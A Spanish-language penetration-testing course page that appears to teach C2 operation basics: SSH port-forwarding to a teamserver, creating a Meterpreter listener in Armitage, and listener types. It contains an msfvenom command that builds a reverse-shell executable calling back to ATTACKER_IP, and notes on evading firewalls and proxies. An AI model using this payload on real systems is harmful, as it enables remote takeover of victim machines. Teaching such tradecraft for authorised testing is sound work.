XUT_ / COURSES / PENETRATION TESTER

C2 Operation Basics

Acceder y Gestionar tu Infraestructura C2

Ahora que tienes una idea general de cómo configurar tu servidor C2, necesitamos ver algunos detalles de operación que deberías conocer antes de acceder a tu servidor C2. Es importante tener en cuenta que no requieres realizar acciones en esta tarea.


Seguridad Operacional Básica

Hemos tocado brevemente esto en la última sección. Nunca deberías tener la interfaz de gestión de tu C2 accesible directamente. Esto es primariamente para mejorar la seguridad operacional. Puede ser ser increíblemente fácil hacer fingerprint de servidores C2. Por ejemplo, en versiones anteriores a 3.13, los servidores C2 de Cobalt Strike son capaces de ser identificados por un espacio extra (\x20) al final de la respuesta HTTP. Usando esta táctica muchos blue teamers podrían hacer fingerprint de todos los servidores C2 Cobalt Strike accesibles públicamente. Para más información sobre fingerprinting e identificación de servidores C2 Cobalt Strike, comprueba esto publicado en el blog Future Recorded.

C2 Operation Basics

El punto de mencionar esto es que quieras reducir el riesgo operacional al mínimo. Si esto significa no tener la interfaz de gestión a tu servidor públicamente, entonces deberías hacerlo.


Acceder a tu Servidor C2 en Escucha Local de Manera Remota

Esta sección se enfoca en cómo acceder de forma segura a tu servidor C2 mediante SSH port-forwarding. El port-forwarding de SSH nos permite hostear recursos en una máquina remota redirigiendo un puerto local al servidor remoto, o nos permite acceder a recursos locales en la máquina remota a la que nos conectamos. En algunas circunstancias, puede circunvalar Firewalls.

C2 Operation Basics

O en nuestra instancia, podría ser usado por razones de seguridad operacional.

C2 Operation Basics

Ahora que tenemos un mejor entendimiento de por qué queremos hacer port-forwarding con SSH, vamos a ver cómo. En nuestro C2 configurado en la tarea anterior, nuestro Teamserver está escuchando en localhost TCP/55553. Para poder acceder remotamente a este puerto, debemos configurar un port-forwarding local al puerto del servidor Teamserver remoto. Podemos hacer esto con la flag -L en nuestro cliente SSH.

bash
ssh -L 55553:127.0.0.1:55553 root@192.168.0.44

Ahora que tenemos un puerto remoto SSH redirigido, podemos conectarnos al servidor corriendo en TCP/55553. Como recordatorio, Armitage no soporta la escucha en la interfaz loopback (127.0.0.1-127.255.255.255), por lo que esto es consejo de administración de servidor C2 general. Verás que este consejo es más céntrico a servidores C2 como Covenant, Empire y muchos otros.

Recomendamos encarecidamente poner las reglas de firewall in situ para servidores C2 que deban escuchar en una interfaz pública para que sólo aquellos usuarios esperados puedan acceder al servidor C2. Hay varias formas de hacer esto. Si estás hosteando infraestructura Cloud, puedes configurar un grupo de seguridad o usar un firewall basado en host como UFW o IPTables.

Crear un Listener en Armitage

Ahora, vamos a movernos al tema que todos los servidores C2 tienen: la creación de listeners. Para permanecer en el tema, demostraremos cómo configurar un listener básico con Armitage para luego explorar alguno de los otros listeners teóricos que puedes encontrarte en otros varios frameworks. Creemos un Listener Meterpreter básico que corra en TCP/31337. Para comenzar, hacemos click en el menú desplegable de Armitage y vamos a la sección "Listeners". Deberíamos ver tres opciones: Bind, Reverse y set LHOST. Bind se refiere a shells bind, debes conectarte a los hosts. Reverse se refiere a las shells reverse, cuando el host se conecta a nosotros. Esta es la opción que usaremos.

C2 Operation Basics

Después de hacer click en "Reverse", un menú se abrirá, pidiéndote que configures algunos detalles básicos sobre el listener. Hay dos opciones entre las que puedes elegir: Shell o Meterpreter. Shell se refiere a una reverse shell estándar estilo Netcat y Meterpreter es la reverse shell Meterpreter estándar.

C2 Operation Basics

Después de presionar en en enter, un nuevo panel se abre, confirmando que tu listener ha sido creado. Esto debería verse como el módulo exploit/multi/handler de Metasploit.

C2 Operation Basics

Después de configurar el listener, puedes generar una reverse shell estándar windows/meterpreter/reverse_tcp usando MSFVenom y configurar LHOST al servidor Armitage para recibir llamadas de vuelta.

Obtener una Llamada de Vuelta

bash
root@kali$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=31337 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

Después de generar la reverse shell, podemos transferir el payload a la máquina víctima y ejecutarlo. Después de un momento, deberíamos recibir una llamada de la máquina.

C2 Operation Basics


Tipo de Listener

Como hemos mencionado previamente, los listeners estándar de reverse shells, no son los únicos que existen; hay muchas variedades que usan diferentes protocolos. Sin embargo, hay unos cuantos comunes que cubriremos, estos siendo:

Listener Estándar

Estos suelen comunicarse directamente sobre socket crudo TCP o UDP, mandando comandos en texto plano. Metasploit tiene soporte total para estos.

Listeners HTTP/HTTPS

Estos suelen verse como algún tipo de servidor web y usan técnicas como Domain Fronting o perfiles C2 Malleable para enmascarar el servidor C2. Cuando se comunica especialmente sobre HTTPS, es menos probable que las comunicaciones sean bloqueadas por un NGFW. Metasploit tiene soporte completo para listeners HTTP/HTTPS.

Listeners DNS

Es una técnica popular específicamente usada en la fase de exfiltración donde infraestructura adicional es normalmente requerida para la configuración, o al menos, un Domain Name debe ser comprado y registrado, y un servidor NS público debe estar configurado. Es posible configurar operaciones DNS C2 en Metasploit con la ayuda de herramientas adicionales. Para más información sobre esto mira la presentación Meterpreter over DNS de Alexey Sintsov y Maxim Andreyanov. Suelen ser útiles para sobrepasar Proxies de Red.

Listeners SMB

Comunicarse vía named pipes SMB es un método popular, especialmente al lidiar con una red restringida; puede habilitar pivotaje más flexible con múltiples dispositivos hablando unos con otros y sólo un dispositivo devolviendo la información sobre un protocolo más común como HTTP/HTTPS. Metasploit tiene soporte para Named Pipes.